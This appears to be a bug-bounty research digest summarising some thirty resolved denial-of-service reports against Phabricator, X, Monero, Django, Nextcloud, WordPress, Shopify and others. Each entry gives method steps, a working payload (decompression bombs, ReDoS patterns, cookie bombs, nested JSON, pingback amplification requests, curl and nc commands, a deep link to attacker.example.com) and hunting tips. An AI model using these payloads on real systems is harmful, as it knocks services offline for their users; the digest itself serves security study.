Self-referential embed -> infinite render recursion (Phabricator Remarkup)
◆ Low
Specimen #85011 · phabricator · none · 1 votes · resolved
Program phabricatorSurface webTag webhook
Root cause
A markup/embed directive that renders another object by reference has no recursion/cycle guard, so embedding an object inside itself makes the renderer recurse forever and exhaust CPU/memory.
Method
- Create a Text Panel that gets object reference W1.
- Set its body to the embed directive for itself: {W1}.
- Rendering recurses infinitely and chokes; the poisoned object can then be embedded in comments/feed/home, breaking rendering for every viewer (stored, persistent DoS).
{W1} # inside object W1's own body -> self-embed
Insight — Any templating/embed/transclusion/preview feature that resolves references by object ID is a DoS candidate: try embedding an object into itself, or a two-node cycle A->B->A. Stored self-reference is worse than reflected because it poisons shared views (feed/dashboard) for all users. Test wikis, comment renderers, dashboards, and any {ref}/[[include]] syntax.
Real-world example
Invalidating a shared OAuth2 bearer token via extracted client secret
◆ Info
Specimen #210779 · x · awarded · 323 votes · resolved
Program xSurface apiChain secret extraction -> token invalidation -> platform-wiTag oauth
Root cause
A first-party web client (TweetDeck) authenticated with a single hardcoded app bearer token; the app's consumer key/secret were extractable, and the token-invalidation API let anyone holding them revoke that shared token, breaking the app for every user.
Method
- Extract the client's consumer key and consumer secret from the desktop/web app bundle
- Read the hardcoded bearer token used by the client
- Call the OAuth2 invalidate_token endpoint with Basic auth = base64(key:secret) and the bearer as access_token
- All clients using that shared token now receive 'Invalid or expired token'
POST /oauth2/invalidate_token HTTP/1.1
Host: api.twitter.com
Authorization: Basic base64(consumer_key:consumer_secret)
Content-Type: application/x-www-form-urlencoded
access_token=<hardcoded_app_bearer_token>
Insight — When a whole product shares one app-level token and the app's own credentials can invalidate it, availability depends on secrets shipped to clients. Hunt for hardcoded consumer key/secret in JS/desktop bundles and check whether any auth API accepts them to revoke shared tokens.
Real-world example
GraphQL mutation aliasing amplifies an expensive backend op (DoS)
◆ Info
Specimen #3287208 · security · 12500 · 172 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
GraphQL allowed the same expensive mutation to be aliased many times in ONE request; the server ran each alias sequentially (~8s each), turning a single small request into a resource-exhaustion DoS with no rate-limit escape.
Method
- Take an expensive mutation
- Alias it N times in one document
- Send once; response time grows ~linearly with N
mutation X($v:String!,$o:String){
verify1: verifyAccountRecoveryPhoneNumber(input:{verification_code:$v,otp_code:$o}){__typename}
verify2: verifyAccountRecoveryPhoneNumber(input:{verification_code:$v,otp_code:$o}){__typename}
verify3: verifyAccountRecoveryPhoneNumber(input:{verification_code:$v,otp_code:$o}){__typename}
}
Insight — Alias-based amplification bypasses per-request rate limits: one request = N executions of a costly operation. Also enables OTP/2FA brute-force amplification. Test aliasing on any expensive/side-effecting mutation.
Real-world example
Pixel-flood / decompression-bomb image upload
◆ Info
Specimen #390 · security · 500 · 66 votes · resolved
Program securitySurface webTag file-upload
Root cause
An image whose header declares enormous dimensions (e.g. 0xfafa x 0xfafa) but is only a few KB on disk forces the server's image conversion to allocate width*height pixels in memory (billions), exhausting RAM -> DoS.
Method
- Take a small valid image and edit its header dimensions to a huge value (64250x64250)
- Upload it to a feature that converts/re-encodes images server-side
- The converter tries to allocate the full pixel buffer and OOMs / times out
A ~5KB image file with width/height fields overwritten to 0xfafa x 0xfafa (decodes to ~4.1e9 pixels).
Insight — Any server-side image processing (resize, thumbnail, convert) is vulnerable to decompression bombs unless it caps pixel dimensions BEFORE allocation. Test uploads with tiny files declaring gigantic dimensions; mitigation is a max-megapixel limit.
Real-world example
Android exported deep-link handler NPE crash (FileDisplayActivity, null User)
◆ Info
Specimen #3399016 · nextcloud · none · 64 votes · resolved
Program nextcloudSurface mobile-androidChain malicious app/link -> exported activity VIEW intent ->
Root cause
FileDisplayActivity is exported with wildcard-host VIEW intent-filters; invoking it via an external deep link with no authenticated account makes onStart call User.getAccountName() on a null User, throwing an unhandled NullPointerException that crashes the app (DoS).
Method
- Send an external VIEW intent / deep link to the exported activity with no valid account context
- onStart dereferences a null User -> NullPointerException -> app crash
adb shell am start -a android.intent.action.VIEW \
-d "https://attacker.example.com/f/abcdef" \
-n com.nextcloud.client/com.owncloud.android.ui.activity.FileDisplayActivity
Insight — Exported Android components with broad intent-filters are reachable by any app or a web link; they must null-check account/session state before use. A crafted deep link that hits a pre-login codepath is an easy DoS and sometimes a gateway to auth-context confusion.
Real-world example
Cookie bomb (DOM-based) -> HTTP 431 client-side DoS
◆ Info
Specimen #57356 · x · awarded · 54 votes · resolved
Program xSurface web
Root cause
A client-side script writes an attacker-influenceable value into a cookie with no length limit and no escaping of cookie separators; an attacker plants a huge/persistent cookie on the victim's browser so every subsequent request to the domain is rejected (HTTP 431 Request Header Fields Too Large).
Method
- Find a sink that sets document.cookie from a URL fragment/referrer/param without length or ';' sanitization
- Craft a URL that writes a very long cookie and injects extra attributes (path=/, domain=.target, Max-Age=huge) to make it persistent and broad-scoped
- Lure victim to the URL; all further requests to target return 431 until they clear cookies
// vulnerable sink on twitter.com first script block:
var d="ev_redir_"+encodeURIComponent(a)+"="+ (document.referrer||"none") +"; path=/";
document.cookie=d;
// attacker controls hash (name) + referrer (value, unescaped ';') -> oversized persistent *.twitter.com cookie -> HTTP 431
// server-param variant (#1005421, api.tumblr.com):
https://api.tumblr.com/console/auth?consumer_key=x;%20domain=tumblr.com;%20Max-Age=1000000000000000000000&consumer_secret=x;%20domain=tumblr.com;%20Max-Age=1000000000000000000000
Insight — Any reflected value that ends up in Set-Cookie or document.cookie without a length cap and without escaping ';'/attributes is a cookie-bomb primitive: attacker sets oversized/broad/long-lived cookies that trigger 431/400 on all future requests, a persistent client-side DoS deliverable via a single link.
Real-world example
Image decompression bomb (GIF with tens of thousands of frames)
◆ Info
Specimen #400 · security · 250 · 51 votes · resolved
Program securitySurface webTag file-upload
Root cause
Image upload validated only on file size and pixel dimensions, not on frame count/complexity, so a small multi-frame GIF forces the image processor (Paperclip/ImageMagick) to allocate/process an enormous amount of work and time out.
Method
- Craft a GIF that satisfies size and dimension limits but contains ~40,000 tiny (1x1) frames
- Upload it as an avatar/image
- Server-side image processing freezes until timeout
# a ~1MB, <=2048x2048 GIF composed of 40,000 1x1 frames
# heuristic guard the report suggests: reject if file_size / (width*height) is absurdly small
Insight — File-upload limits on bytes and dimensions do not bound processing cost. For any server-side image pipeline, test decompression/animation bombs: many frames, huge canvas after decode, or high compression ratio. Ratio checks (declared pixels vs file size) are a defensive tell.
Real-world example
ReDoS from server-compiled user-SUPPLIED regex (RubyGems OIDC policy)
◆ Info
Specimen #3542546 · rubygems · none · 41 votes · resolved
Program rubygemsSurface webTag jwtTag oauth
Root cause
The OIDC access-policy 'string_matches' operator compiles a fully user-controlled pattern with Regexp.new(value) and runs it (.match?) against JWT-claim values with no timeout or complexity check, so a policy author supplies a catastrophic-backtracking regex that burns CPU on every matching request.
Method
- Create an OIDC API key role using the string_matches operator with a malicious regex
- Ensure the claim value (influenceable via GitHub Actions metadata like branch names) forces backtracking
- Each policy evaluation spends excessive CPU
# user-supplied pattern:
^(a+)+$
# claim value that triggers exponential backtracking:
refs/heads/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
# sink: Regexp.new(value).match?(claim_value) (no Regexp.timeout)
Insight — When an app lets users provide the *regex itself* (policy rules, search filters, validation config, WAF rules), ReDoS is trivial and self-inflicted - and the operator's own worst case is guaranteed reachable. Fix is Regexp.timeout / RE2 / complexity limits. Distinct from user-input-against-fixed-regex ReDoS.
Real-world example
Connection-count accounting flaw enables forced outbound-peer reset (eclipse aid)
◆ Info
Specimen #3185083 · monero · none · 39 votes · resolved
Program moneroSurface networkChain handshake-flood -> inflated outbound-count -> self-dis
Root cause
The node's outbound-connection counter (updated once per second) counts both fully-handshaked outbound connections and transient outbound connections opened solely to send Ping replies to inbound handshakes; flooding handshakes from many IPs inflates the count far above the max, so the node's connection maker later disconnects legitimate outbound peers believing it exceeded the limit.
Method
- From ~1000 IPs, flood the target node with Handshake requests, each forcing it to open a transient outbound Ping connection back.
- Let the per-second counter (m_current_number_of_out_peers) balloon far above the max (default 12).
- Stop the flood ~5s so the node's real-time count reads below max and it runs connections_maker().
- connections_maker() sees the stale inflated count and calls del_out_connections, dropping legitimate handshaked outbound peers; repeat to strip all outbound connections.
# handshake-flood loop: N IPs each send Handshake, accept the node's inbound conn + answer Ping, then sleep ~5s and repeat
Insight — When a resource limit is enforced against a counter that mixes transient and durable objects and is sampled asynchronously (TOCTOU between a per-second cache and the real-time count), an attacker can inflate the counter to make the victim evict its own legitimate state. Look for accounting that conflates half-open/temporary and established connections.
Real-world example
Ruby IPAddr ReDoS
◆ Info
Specimen #1485717 · ruby · none · 32 votes · resolved
Program rubySurface other
Root cause
IPAddr#mask! validates the prefix length with a backtracking-prone regex /\A(0|[1-9]+\d*)\z/, so a long malformed prefixlen causes exponential backtracking (ReDoS) reachable through IPAddr.new and comparison/coerce methods.
Method
- Pass a crafted string with a huge prefixlen into any IPAddr constructor or comparison
- Observe the process hang on regex backtracking
IPAddr.new("0.0.0.0/" + '1' * 50000 + '.')
# also reachable via include?/==/|/& coercion:
IPAddr.new("192.168.2.0/24").include?("0.0.0.0/" + '1'*50000 + '.')
Insight — Library input validators are a rich ReDoS source; when user IPs/CIDRs reach IPAddr (or any parser using nested-quantifier regex), a long repeat + trailing mismatch triggers catastrophic backtracking. Use recheck/redos tooling to spot the pattern.
Real-world example
Unbounded HTTP decompression chain (compression bomb) in fetch clients
◆ Info
Specimen #3456148 · nodejs · none · 25 votes · resolved
Program nodejsSurface otherTag webhook
Root cause
HTTP clients honor chained Content-Encoding (e.g. 'gzip, br, br, ...') with no cap on the number of decompression steps, so a malicious server can force thousands of nested decompressions from a tiny response.
Method
- Serve small raw data compressed N thousand times: BYTES=50000 LAYERS=5000 node server.js sets Content-Encoding with 5000 comma-separated codings
- Client fetch() auto-decodes the whole chain
- ~60KB on the wire pins client CPU for minutes and balloons RSS
Content-Encoding: br, br, br, ... (5000 times)
# server sends 50KB raw brotli-compressed 5000x -> 60892 wire bytes
# client fetch decodes -> User time 248s, RSS 712MB
Insight — When testing any HTTP client/proxy/SSRF-fetcher, probe whether it caps the Content-Encoding chain length. urllib3 and curl (CVE-2022-32206) hard-cap at 5; unbounded implementations are a cheap asymmetric DoS. Fix: reject >5 codings.
Real-world example
Quadratic header-concatenation CPU DoS (repeated HTTP/2 headers)
◆ Info
Specimen #3426417 · django · none · 24 votes · resolved
Program djangoSurface webTag webhook
Root cause
Django's ASGIRequest builds META by doing value = existing + ',' + new for each repeated header; immutable-string concatenation makes N duplicate headers cost Theta(N^2) copying before any view runs.
Method
- Open an HTTP/2 (or /3) connection where duplicate header names are legal
- Send one small header (e.g. cookie) duplicated 8k-16k times, empty body
- Worker burns 100s of ms to seconds per request building META
- Repeat across a few connections to saturate all ASGI workers
# HTTP/2 request with header repeated N times
cookie: a=1
cookie: a=1
... (x16000)
# 16000 -> ~1.1s CPU; doubling count ~4x time (O(n^2))
Insight — Whenever code accumulates repeated inputs via string += in a loop, test for quadratic blowup. HTTP/2/3 make duplicate headers cheap to send. Fix: collect into a list and ','.join once.
Real-world example
Reachable abort()/_exit via unvalidated RPC input (Monero calc_pow)
◆ Info
Specimen #3241102 · monero · none · 23 votes · resolved
Program moneroSurface api
Root cause
The calc_pow JSON-RPC method passed a caller-controlled 'block_blob' into cn_slow_hash without validating its length. A too-short blob reaches a hard _exit(1)/abort in slow-hash.c ('Cryptonight variant 1 needs at least 43 bytes of data'), crashing the entire daemon. Found by an Ada Logics fuzzing harness.
Method
- Send calc_pow to the daemon RPC with a block_blob shorter than the required 43 bytes
- Execution reaches the internal length assertion which calls _exit(1)/abort
- monerod crashes entirely
curl http://127.0.0.1:18081/json_rpc -d '{"jsonrpc":"2.0","id":"0","method":"calc_pow","params":{"major_version":7,"height":5,"block_blob":"010101","seed_hash":"1111111111111111111111111111111111111111111111111111111111111111"}}' -H 'Content-Type: application/json'
Insight — RPC/API inputs that flow into low-level crypto/parse routines can reach assert/abort/_exit paths meant for internal invariants. Fuzz each method's parameters (short/long/empty/malformed blobs) - a reachable abort is an instant full-process DoS. Fix is validating length early in the RPC handler, not deep in the hash core.
Real-world example
Deeply-nested JSON with duplicate fields defeats parser recursion limit
◆ Info
Specimen #2677306 · monero · none · 22 votes · resolved
Program moneroSurface apiChain Combined with an I/O-heavy method (get_blocks) could add ban
Root cause
The Epee JSON parser allowed duplicated fields and set its recursion limit too high (100). A payload of ~1747 objects each nested to depth 98 forces CPU-intensive recursive parsing on the RPC receive thread, locking monerod from syncing with the p2p network.
Method
- Target a restricted JSON-RPC method (e.g. get_info on port 18089)
- Build a payload just under the 1MB content-length cap, packed with deeply-nested JSON objects (depth ~98) repeated ~1747 times
- Duplicate the params field - only the last is used, so append genuine args after the bomb to still trigger the routine
- Spam it; parsing pins CPU and the node stops syncing (tested: 3h lockout on a Ryzen 7 5800X)
// depth-98 nested object repeated, wrapped in a JSON-RPC get_info call, ~1MB total
{"jsonrpc":"2.0","id":"0","method":"get_info","params":{"a":{"a":{ ... x98 ... }}},"params":{...real args...}}
// build/spam with the reporter's rust PoC
Insight — When a service exposes a JSON/XML RPC, probe the parser's depth limit and whether duplicate keys are allowed. A depth limit of 100 + no per-object iteration cap + a 1MB body budget = enough recursion to DoS. Duplicate-field tolerance lets you keep the request semantically valid while smuggling the bomb.
Real-world example
Unbounded pending-block queue fill via sync size-limit bypass
◆ Info
Specimen #2693786 · monero · none · 22 votes · resolved
Program moneroSurface otherTag webhook
Root cause
Monero's sync code ignores the pending-block-queue size limit when next_needed/next_block height is within ~1000 of the local tip, and does not verify submitted blocks are chained, letting a peer flood the queue (~54GB) with unrelated blocks that never leave it.
Method
- Connect over P2P to a synced target node
- Split the chain below the peer's tip and create a dummy 'anchor' block a few blocks above the split
- Set the first split-chain block's prev_id to the anchor hash, fill remaining blocks with arbitrary prev_id
- Because you're below the tip the queue size limit is ignored; blocks wait forever on the missing parent
cargo run -- --addr 127.0.0.1:18080
# fills pending block queue to ~54GB with unrelated blocks -> node killed
Insight — Look for queue/buffer limits that are conditionally bypassed ('force download near tip') combined with missing invariant checks (blocks must chain). Attacker satisfies the bypass condition then feeds unbounded junk.
Real-world example
PNG zTXt decompression bomb defeats image processing
◆ Info
Specimen #454 · security · USD 500 · 18 votes · resolved
Program securitySurface webTag file-upload
Root cause
A PNG zTXt (compressed text) chunk stores zlib-compressed data; ~50MB of zeros compresses to ~49KB. Uploading a <1MB PNG that inflates to tens of MB makes server-side image tooling (ImageMagick identify/convert via Paperclip) exhaust CPU/memory and time out.
Method
- Craft a PNG with a zTXt chunk holding a large highly-compressible payload (e.g. 50MB of zeros -> <1MB file)
- Upload it where the app processes/thumbnails images
- identify/convert tries to decompress -> service times out
# python createpng.py out.png -> PNG with zTXt chunk of ~50MB zeros compressed to <1MB
# then upload out.png to the image endpoint
Insight — Any upload that is server-side processed (resize/convert/EXIF/thumbnail) is a decompression-bomb target - PNG zTXt/iTXt, GIF/JPEG, SVG, PDF, XML. Small file, huge decompressed cost. Test file-upload and avatar/URL-preview features. Cheap detection fix: reject images carrying compressed-text chunks.
Real-world example
Protobuf skip-length integer overflow → negative index panic (K8s gogo/protobuf)
◆ Info
Specimen #1073363 · kubernetes · 250 · 15 votes · resolved
Program kubernetesSurface other
Root cause
gogo/protobuf-generated Unmarshal code computes iNdEx += skippy after skipGenerated; because iNdEx is an int, a large skippy overflows it to a negative value, and the next dAtA[iNdEx] access is out of bounds → panic. The safe generated code has an `if (iNdEx + skippy) < 0` guard that many code paths lack, and this pattern is pervasive across generated .pb.go files.
Method
- Send a crafted protobuf object to any API using the affected generated Unmarshal (e.g. certificates/v1beta1)
- During skip handling, iNdEx += skippy overflows negative
- Subsequent dAtA[iNdEx] indexes out of bounds → runtime panic, crashing the node/process
// vulnerable:
skippy, err := skipGenerated(dAtA[iNdEx:])
if skippy < 0 { ... }
if (iNdEx + skippy) > postIndex { ... }
iNdEx += skippy // overflow to negative
// fix adds: if (iNdEx + skippy) < 0 { return ErrInvalidLength }
Insight — Auto-generated parsers replicate the same missing-bounds-check across hundreds of message types; one code-gen bug = mass DoS. When reviewing protobuf/codegen unmarshallers, look for `index += len` without a signed-overflow (`< 0`) guard. Fix requires regenerating, not just patching one file.
Real-world example
Defeating IP-based rate limiting by rotating a cheap IPv6 /64
◆ Info
Specimen #1320976 · trycourier · none · 10 votes · resolved
Program trycourierSurface web
Root cause
Rate limiting / lockout keyed on client IP is bypassable because commodity VPS providers hand out an entire IPv6 /64 (2^64 addresses); an attacker rotates source IPs faster than the limiter can block, enabling brute force and notification bombing.
Method
- Confirm the block is per-IP (get rate-limited, note the block).
- Acquire a VPS/tunnel with an IPv6 /64 allocation.
- Assign a fresh IPv6 per request (or per N requests) and continue the brute force / spam past the limit.
# rotate a new source IPv6 out of the /64 each time you get 429/blocked
# e.g. add addresses from the /64 and bind curl to each:
curl --interface 2001:db8:abcd:1234::<rand> https://TARGET/login
Insight — When a program claims rate limiting protects an endpoint, test IP rotation via IPv6 /64 (and X-Forwarded-For if honored). Recommend limiting on user/email identity + CAPTCHA rather than IP.
Real-world example
Monero JSON-RPC unbounded nesting -> recursion stack overflow
◆ Info
Specimen #390499 · monero · none · 10 votes · resolved
Program moneroSurface api
Root cause
Monero's epee JSON parser (portable_storage_from_json) recurses per nesting level without any object-tree depth limit, so a deeply nested JSON body sent to the RPC endpoint exhausts the thread stack and crashes the daemon.
Method
- Build a JSON-RPC request with thousands of nested objects/arrays
- POST it to monerod's RPC port
- run_handler recurses per level -> AddressSanitizer stack-overflow / daemon crash
{"a":{"a":{"a":{"a": ... (repeat thousands of times) ... }}}}
Insight — Any recursive-descent JSON/XML/BER parser without an explicit depth cap is a remote DoS: send N-deep nesting. Standard hardening is a hard nesting limit; test RPC/API endpoints with 10k-deep payloads.
Real-world example
URL-fetch proxy crashed by exotic URI schemes
◆ Info
Specimen #13652 · factlink · none · 9 votes · resolved
Program factlinkSurface web
Root cause
A server-side URL-preview/proxy passed user-supplied url= values into a fetcher that mishandles non-http schemes (data:, javascript:), crashing the backend service (nginx returns 502 until restart).
Method
- Find a proxy/preview/fetch feature taking a url= parameter.
- Feed exotic/malformed scheme values (data:, data://, javascript:, with and without content).
- Observe the backend service crash (502 / gateway error) instead of graceful rejection.
http://TARGET/?url=data:text/html,Hello
http://TARGET/?url=data://text/html,Hello
http://TARGET/?url=javascript:confirm()
http://TARGET/?url=javascript:confirm("x")
Insight — When testing a URL-fetch/preview feature (also an SSRF surface), fuzz the scheme itself with data:, javascript:, file:, gopher:, and malformed variants; parsers often crash or behave unexpectedly on non-http input.
Real-world example
Large image upload -> CPU exhaustion via quadratic processing
◆ Info
Specimen #504759 · nextcloud · awarded · 8 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
An image/avatar upload path performs an expensive per-character/per-line operation (here 3rd-party VCard code splitting property values at 75 chars) with no dimension/size guard, so a big image pins a worker at 100% CPU and never releases it.
Method
- Upload a large image (4032x3024, ~14.5MB PNG) as avatar and save
- Observe one php-fpm worker stuck at 100% CPU indefinitely
- Repeat until every worker is saturated and the server stops responding
POST /index.php/avatar (multipart avatar upload of a ~15MB high-resolution PNG); repeat N times = number of php-fpm workers
Insight — On any image/avatar/import endpoint, test a maximum-resolution + heavy file and watch worker CPU: uncapped image or text processing that scales badly is a cheap unauthenticated-ish DoS. Look for missing max-dimension / max-length checks before expensive loops.
Real-world example
Array-typed query param -> persistent per-victim 500 pinned by session cookie
◆ Info
Specimen #55716 · shopify · awarded · 7 votes · resolved
Program shopifySurface web
Root cause
Passing an array where a scalar is expected (preview_theme_id[]=ID) throws a 500 that gets bound to the visitor's shop session cookie, so every subsequent page for that user 500s until the _session_id/_secure_session_id cookie is cleared - a stored/persistent DoS deliverable via CSRF.
Method
- Read the target shop's front page source to obtain a valid theme id (Shopify.theme = {..."id":ID...})
- Lure the victim to https://victim.myshopify.com/?preview_theme_id[]=ID (http+https variants)
- The type-confused param 500s and the error is persisted via the session cookie; all pages 500 for that victim
- Recovery only by deleting _session_id / _secure_session_id
https://victim.myshopify.com/?preview_theme_id[]=<THEME_ID_FROM_SOURCE>
Insight — Try array/object type juggling on scalar params (param[]=x, param[key]=x). A framework that stores the resulting error state in the session turns a reflected 500 into a persistent, no-server-load DoS you can deliver via an <img>/iframe (CSRF). Public source often leaks the exact ID needed to make it reachable.
Real-world example
WordPress xmlrpc.php pingback.ping as DDoS amplifier / blind SSRF
◆ Info
Specimen #96294 · withinsecurity · none · 7 votes · resolved
Program withinsecuritySurface webChain pingback.ping -> outbound server fetch -> reflective DTag webhook
Root cause
xmlrpc.php with pingback enabled will make the server issue an outbound HTTP request to any URL supplied in pingback.ping; many such WordPress hosts can be coordinated to flood a victim (reflective DDoS) and each request is a server-side fetch of an attacker URL (blind SSRF).
Method
- Confirm xmlrpc is enabled: POST demo.sayHello and check for a valid response
- Send pingback.ping with <string>http://VICTIM/</string> as source and a real post URL as target
- The WP server fetches VICTIM; fan this out across many WP hosts to DDoS the target
POST /xmlrpc.php HTTP/1.1
Host: TARGET-WORDPRESS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://VICTIM/</string></value></param>
<param><value><string>https://TARGET-WORDPRESS/2015/10/some-post/</string></value></param>
</params>
</methodCall>
Insight — Any endpoint that fetches a user-supplied URL server-side (pingbacks, webhooks, link previews, RSS importers) is both a reflective-DDoS amplifier and a blind-SSRF probe. First fingerprint with a harmless method (demo.sayHello) before weaponizing.
Real-world example
Pre-auth infinite loop from a grow-buffer routine that never sets the required size
◆ Info
Specimen #113424 · torproject · awarded · 7 votes · resolved
Program torprojectSurface network
Root cause
Tor's control-port line reader loops calling connection_fetch_from_buf_line and doubles the buffer until it is 'big enough', but under --enable-bufferevents the fetch function returns -1 without updating *data_len to the needed size, so the grow condition is never satisfied and the loop spins forever pre-authentication.
Method
- Connect to the control port of a tor built with --enable-bufferevents
- Send a control line longer than the initial incoming_cmd buffer without a terminating newline
- connection_fetch_from_buf_line returns -1 but leaves data_len unset -> realloc/grow loop never terminates
# pre-auth control connection: send an over-long, non-newline-terminated command line
printf 'A%.0s' {1..100000} | nc CONTROL_HOST CONTROL_PORT
Insight — Audit 'grow buffer until it fits' loops: the exit condition depends on a size the callee must set. If one backend/branch (here the bufferevents path) forgets to set that size on the 'too small' return, you get an unbounded loop. Compile-time flags change which branch runs - test non-default build options.
Real-world example
Stored render DoS via crafted percent-encoding / HTML-in-markdown
◆ Info
Specimen #59369 · security · awarded · 6 votes · resolved
Program securitySurface web
Root cause
The markdown/URL renderer chokes on certain crafted inputs (e.g. a stray %40 or invalid %ff in an auto-linked token, or raw HTML inside a code block), so a comment containing them makes the whole report fail to load permanently - including the admin bulk-edit/close path, so it can't be removed.
Method
- Post a comment containing the malformed markdown/URL token
- Reload: the report now returns 'Report Failed to load' for everyone and cannot be closed via bulk edit
- Abusable after gaining access to a private report to make it un-viewable/un-removable
_www.%40ebay.com_
[This is SPARTAA](/%ff)
<!-- also: large/raw HTML placed inside a ``` code ``` block causing a 524 timeout -->
Insight — Fuzz rich-text/markdown fields with malformed percent-encoding, unicode direction marks, and raw HTML inside code fences. If the renderer throws on load, the content becomes a stored DoS - and it is worse when it also blocks the moderation/close workflow, making it unremovable. Test the delete/edit path, not just the view path.
Real-world example
CSRF + unbounded server-side fetch (WordPress Press This) -> CPU/thread exhaustion
◆ Info
Specimen #153093 · wordpress · awarded · 6 votes · resolved
Program wordpressSurface webChain CSRF -> authenticated server-side fetch of oversized fileTag webhook
Root cause
Press This press-this.php?u=URL fetches remote content with no size limit and no CSRF nonce; luring an authenticated admin to a page that references a giant file makes the PHP process burn 100% CPU parsing it, and many parallel img requests fill the connection/thread pool, taking the site down.
Method
- Host a huge file (e.g. tens of MB of '<>') on an external server
- Build a CSRF page with many <img src> pointing at http://wp/wp-admin/press-this.php?u=<external-huge-file>
- Lure a logged-in admin to the page; each request pins a PHP worker parsing the file until threads are exhausted
# external huge file:
perl -e 'print "<>"x28000000' > foo.txt
# CSRF page fired at an admin:
<img src='http://WP-HOST/wp-admin/press-this.php?u=http%3A%2F%2Fattacker%2Ffoo.txt'> <!-- repeat many times -->
Insight — URL-preview/scrape features (Press This, link unfurlers, oEmbed) that fetch without a max-size are DoS amplifiers, and when they lack a CSRF nonce you can trigger the fetch through a victim admin's browser. Always test: does the fetch cap response size, and is it CSRF-protected? Fix added a scan-site nonce.
Real-world example
Oversized numeric input -> server-side arithmetic/bignum hang
◆ Info
Specimen #63865 · security · awarded · 5 votes · resolved
Program securitySurface webTag file-upload
Root cause
A numeric parameter (base_bounty) accepted an arbitrarily long digit string; server-side parsing/arithmetic on the ~1,000,000-digit value blocked the request thread for ~77s and returned a 522.
Method
- Find numeric/amount params (price, quantity, bounty, coordinates).
- Submit a value with an extreme number of digits (or huge magnitude).
- Measure response time; a large single-request delay indicates unbounded bignum/parse work.
{"handle":"<program>","offers_bounties":true,"base_bounty":"1111...(1,000,000 digits)...","team_state":"sandboxed"}
Insight — Numeric fields need digit/magnitude bounds too: languages with arbitrary-precision ints turn a giant digit string into O(n^2)-ish CPU. Test amount/price/quantity params with pathologically long numbers.
Real-world example
Oversized request header/cookie -> proxy/LB persistent DoS (cookie bomb)
◆ Info
Specimen #111676 · security · none · 5 votes · resolved
Program securitySurface webTag file-upload
Root cause
An attacker-influenced cookie/redirect stored a very large value; the resulting request header exceeded the load-balancer/CloudFlare proxy buffer, producing a 502 that persisted for signed-out users until the cookie was cleared or the browser restarted.
Method
- From an attacker page, set a large cookie / oversized session-stored redirect value scoped to the target domain.
- Victim visits target; the giant header hits the LB/proxy buffer limit -> 502.
- For signed-out users the broken state persists across requests until cookie removal.
<!-- attacker page sets an oversized cookie/redirect for target domain -->
// e.g. document.cookie='big='+ 'A'.repeat(60000) +'; domain=target' (concept)
Insight — Header/cookie size is an availability boundary: if an attacker can influence a cookie or session-stored URL, an oversized value can wedge the victim behind the reverse proxy. Fix side was raising proxy buffer size; offense side is a persistent client-targeted DoS.
Real-world example
WordPress xmlrpc.php pingback reflection/amplification DDoS
◆ Info
Specimen #124097 · veris · none · 5 votes · resolved
Program verisSurface webChain pingback.ping -> reflected DDoS and/or SSRF to internal hTag webhook
Root cause
An exposed WordPress xmlrpc.php with pingback.ping enabled will fetch any attacker-specified URL, so thousands of such blogs can be coerced into hammering a victim host (reflected DDoS) and it also doubles as an SSRF probe.
Method
- Detect xmlrpc.php is enabled: POST a demo.sayHello methodCall and confirm a success response.
- Abuse: POST pingback.ping with sourceUri=http://victim and targetUri=a real post on the WP host.
- The WP server fetches victim; fan this out across many WP hosts for amplification.
POST /xmlrpc.php HTTP/1.1
Host: TARGET
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://victim.com</string></value></param>
<param><value><string>https://TARGET/anypost</string></value></param>
</params>
</methodCall>
Insight — Any reachable xmlrpc.php with pingback is a reflection/SSRF gadget; detect with demo.sayHello, then pingback.ping to an arbitrary URL. Same primitive also enables blind SSRF and internal port probing.
Real-world example
Recursive self-inclusion / transclusion loop DoS
◆ Info
Specimen #1563142 · phabricator · none · 5 votes · resolved
Program phabricatorSurface webTag file-upload
Root cause
Phabricator Slowvote/Countdown render markup that can embed other objects by ID; putting an object's own ID in its description makes rendering recursively include itself with no depth limit, so the page never loads (and can be embedded elsewhere, including the feed/home page).
Method
- Find a rich-text/markup field that supports transclusion/embedding of objects by ID or URL.
- Reference the object's own ID inside its description/body.
- Load the object (or any page/feed that embeds it) -> recursive expansion hangs rendering.
# In a Slowvote/Countdown description, embed the object's OWN id, e.g.
V123 # where V123 is this very Slowvote
# then any page rendering V123 (or the feed) recurses forever
Insight — Wherever remarkup/markdown/BBCode supports embedding other objects, test self-reference and A->B->A cycles; without a recursion/depth guard it's a stored DoS that can spread to shared pages (feed, home).
Real-world example
Persistent client-side DoS via array-ification of a message parameter (type juggling to null)
◆ Info
Specimen #38232 · security · awarded · 4 votes · resolved
Program securitySurface web
Root cause
Changing a form field name from message to message[] makes the backend store null (not "") for the comment; the front-end React component assumes a string and calls .length on null, throwing and crashing the rendered bug page for every participant who loads it (stored client-side DoS).
Method
- Perform a state-changing action with a comment (e.g. change bug state to Triaged)
- Intercept the POST and rename the field message to message[]
- Server saves the state change but stores message as null
- Every user who opens the record hits null.length in the front-end and the page crashes
POST /.../state-change
...
message[]=whatever # was: message=whatever -> stored value becomes null
Insight — Appending [] to a parameter name coerces PHP/Rails backends to treat a scalar as an array, often bypassing validation and storing null/unexpected types. When that value is later rendered by a front-end that assumes a string/number, you get a stored DoS or DOM XSS. Always try param, param[], param[x] to probe type-confusion in both storage and rendering.
Real-world example
Persistent DoS of a management page via stored malformed URI scheme
◆ Info
Specimen #72793 · shopify · none · 4 votes · resolved
Program shopifySurface webTag oauth
Root cause
An OAuth app whose redirect_uri/Application Callback URL uses a malformed scheme (e.g. 'shit:google.com') is accepted at registration; when the store's /admin/apps page tries to render the installed app, the invalid URI throws a 500, making the entire apps page unrenderable so the admin cannot see or remove any app until the malicious app is deleted by its developer.
Method
- Create a partner app with Application Callback URL set to a malformed scheme like shit:google.com
- Generate the OAuth install URL and get it installed on a victim store
- Victim visits /admin/apps -> 500 error; installed-apps list is broken and the app cannot be removed via UI
Application Callback URL: shit:google.com
Install URL: https://STORE.myshopify.com/admin/oauth/authorize?scope=read_customers&client_id=CLIENT_ID
Then visit: https://STORE.myshopify.com/admin/apps -> HTTP 500 (persistent)
Insight — Weak URL validation at write time (accepting scheme:host without validating the scheme) becomes a persistent DoS when a management/listing page renders the stored value and blows up on the whole page. Test every stored URL field with malformed schemes and non-http(s) URIs, then check whether one bad record breaks the entire list view - and whether the record is then unremovable.
Real-world example
